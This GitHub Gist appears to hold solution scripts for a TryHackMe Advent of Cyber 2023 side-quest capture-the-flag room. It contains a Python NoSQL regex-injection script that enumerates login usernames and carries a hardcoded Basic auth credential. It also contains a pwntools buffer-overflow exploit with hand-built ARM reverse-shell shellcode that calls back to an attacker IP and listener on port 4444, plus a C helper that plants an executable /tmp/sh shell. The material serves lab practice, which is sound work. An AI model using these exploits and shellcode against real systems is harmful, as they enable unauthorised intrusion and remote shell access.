Last active
December 27, 2023 04:32
-
-
Save ChrisPritchard/1a858629007ade1bd0ed9814e0d40486 to your computer and use it in GitHub Desktop.
Side Quest scripts for https://tryhackme.com/room/adventofcyber23sidequest
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
url = "http://localhost:8080/login.php" | |
headers = {"Host": "localhost:8080", "Authorization": "Basic YWRtaW46WTN0aVN0YXJDdXIhb3VzcGFzc3dvcmQ9YWRtaW4="} | |
cookies = {} | |
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] | |
def get_usernames(prefix): | |
usernames = [] | |
params = {"username[$regex]":"", "password[$regex]":".*"} | |
for c in possible_chars: | |
username = "^" + prefix + c | |
params["username[$regex]"] = username + ".*" | |
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) | |
if int(pr.status_code) == 302: | |
print(username) | |
for user in get_usernames(prefix + c): | |
usernames.append(user) | |
return usernames | |
print("running") | |
get_usernames(""): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# to use, change target ip at the bottom | |
# and update attack ip in the shell code where marked | |
BADCHARS = b'\x00\x09\x0a\x0d\x20\x23\x26' | |
BAD = False | |
LIBC_OFFSET = 0x40021000 | |
LIBGCC_OFFSET = 0x4000e000 | |
RETURN = LIBGCC_OFFSET + 0x2f88 # libgcc_s.so.1: bx sp 0x40010f88 | |
SLEEP = LIBC_OFFSET + 0xdc54 # sleep@libc 0x4002ec54 | |
pc = cyclic_find(0x63616176) # 284 | |
r4 = cyclic_find(0x6361616f) # 256 | |
r5 = cyclic_find(0x63616170) # 260 | |
r6 = cyclic_find(0x63616171) # 264 | |
r7 = cyclic_find(0x63616172) # 268 | |
r8 = cyclic_find(0x63616173) # 272 | |
r9 = cyclic_find(0x63616174) # 276 | |
r10 = cyclic_find(0x63616175) # 280 | |
sp = cyclic_find(0x63616177) # 288 | |
code = [ | |
b"\x10\xd0\x4d\xe2", # sub sp, sp, #0x10 | |
b"\x68\x10\xa0\xe3", # mov r1, #0x68 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x73\x10\x81\xe2", # add r1, r1, #0x73 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x2f\x10\x81\xe2", # add r1, r1, #0x2f | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x6e\x10\xa0\xe3", # mov r1, #0x6e | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x69\x10\x81\xe2", # add r1, r1, #0x69 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x62\x10\x81\xe2", # add r1, r1, #0x62 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x2f\x10\x81\xe2", # add r1, r1, #0x2f | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x91\x10\xa0\xe3", # mov r1, #0x91 # last octet in hex, here 91 is 145 in x.x.x.145 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x6b\x10\x81\xe2", # add r1, r1, #0x6b # third octet in hex, here 6b is 107 in x.x.107.x | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x08\x10\x81\xe2", # add r1, r1, #0x08 # second octet in hex, which is 10 but split to 8 and 2 as 10 in hex is a bad char (0a) | |
b"\x02\x10\x81\xe2", # add r1, r1, #0x02 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x08\x10\x81\xe2", # add r1, r1, #0x08 # first octet in hex, same as above. full ip is 10.10.107.145 | |
b"\x02\x10\x81\xe2", # add r1, r1, #0x02 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x5c\x10\xa0\xe3", # mov r1, #0x5c | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x11\x10\x81\xe2", # add r1, r1, #0x11 | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x02\x10\x81\xe2", # add r1, r1, #2 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xef\x30\xa0\xe3", # mov r3, #0xef | |
b"\x03\x3c\xa0\xe1", # lsl r3, r3, #0x18 | |
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x0c\x10\x81\xe2", # add r1, r1, #0xc | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe9\x10\xa0\xe3", # mov r1, #0xe9 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x2d\x10\x81\xe2", # add r1, r1, #0x2d | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x05\x10\x81\xe2", # add r1, r1, #5 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe0\x10\xa0\xe3", # mov r1, #0xe0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x22\x10\x81\xe2", # add r1, r1, #0x22 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x1f\x10\x81\xe2", # add r1, r1, #0x1f | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x02\x10\x81\xe2", # add r1, r1, #2 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x8f\x10\x81\xe2", # add r1, r1, #0x8f | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x18\x10\x81\xe2", # add r1, r1, #0x18 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x02\x10\x81\xe2", # add r1, r1, #2 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]! | |
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x87\x10\x81\xe2", # add r1, r1, #0x87 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x0e\x10\x81\xe2", # add r1, r1, #0xe | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x31\x10\x81\xe2", # add r1, r1, #0x31 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe0\x10\xa0\xe3", # mov r1, #0xe0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x21\x10\x81\xe2", # add r1, r1, #0x21 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]! | |
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x87\x10\x81\xe2", # add r1, r1, #0x87 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x1c\x10\x81\xe2", # add r1, r1, #0x1c | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xff\x10\x81\xe2", # add r1, r1, #0xff | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x1f\x10\x81\xe2", # add r1, r1, #0x1f | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x8f\x10\x81\xe2", # add r1, r1, #0x8f | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x50\x10\x81\xe2", # add r1, r1, #0x50 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xb0\x10\x81\xe2", # add r1, r1, #0xb0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]! | |
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x87\x10\x81\xe2", # add r1, r1, #0x87 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x1a\x10\x81\xe2", # add r1, r1, #0x1a | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x70\x10\x81\xe2", # add r1, r1, #0x70 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xff\x10\x81\xe2", # add r1, r1, #0xff | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe0\x10\xa0\xe3", # mov r1, #0xe0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x22\x10\x81\xe2", # add r1, r1, #0x22 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x1f\x10\x81\xe2", # add r1, r1, #0x1f | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x02\x10\x81\xe2", # add r1, r1, #2 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x81\x10\x81\xe2", # add r1, r1, #0x81 | |
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10 | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x10\x10\x81\xe2", # add r1, r1, #0x10 | |
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8 | |
b"\x01\x10\x81\xe2", # add r1, r1, #1 | |
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]! | |
b"\x1d\xff\x2f\xe1", # bx sp | |
] | |
raw = b"".join(code) | |
SC = raw | |
info('Shellcode length: %d' % len(SC)) | |
for i in range(len(SC)): | |
if SC[i] in BADCHARS: | |
print('BAD CHARACTER in position: %d!') | |
BAD = True | |
if BAD: | |
exit(1) | |
buffer = b'A' * r10 | |
buffer += p32(SLEEP) # overwrite r10 with address of sleep() | |
buffer += p32(RETURN) # bx sp | |
buffer += SC | |
s = remote('10.10.224.89', 50628) # change this to target | |
s.send(b'GET /en/login.asp?basic=' + buffer + b' HTTP/1.0\r\n\r\n') | |
nc = listen(4444) | |
nc.wait_for_connection() | |
nc.interactive() | |
s.close() | |
nc.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/stat.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
int main() { | |
const char *sourceFilePath = "/tmp/ftp/test_busybox"; | |
const char *destinationFilePath = "/tmp/sh"; | |
// Open the source file for reading | |
FILE *sourceFile = fopen(sourceFilePath, "rb"); | |
if (sourceFile == NULL) { | |
perror("Error opening source file"); | |
return 1; | |
} | |
// Open the destination file for writing | |
FILE *destinationFile = fopen(destinationFilePath, "wb"); | |
if (destinationFile == NULL) { | |
perror("Error opening destination file"); | |
fclose(sourceFile); | |
return 1; | |
} | |
// Copy the contents of the source file to the destination file | |
int c; | |
while ((c = fgetc(sourceFile)) != EOF) { | |
fputc(c, destinationFile); | |
} | |
// Close both files | |
fclose(sourceFile); | |
fclose(destinationFile); | |
// Give execute permissions to the destination file | |
if (chmod(destinationFilePath, S_IXUSR | S_IXGRP | S_IXOTH) == -1) { | |
perror("Error changing file permissions"); | |
return 1; | |
} | |
printf("File copied from %s to %s and made executable\n", sourceFilePath, destinationFilePath); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Writeup is here: https://github.com/ChrisPritchard/ctf-writeups/blob/master/tryhackme-rooms/adventofcyber23sidequest.md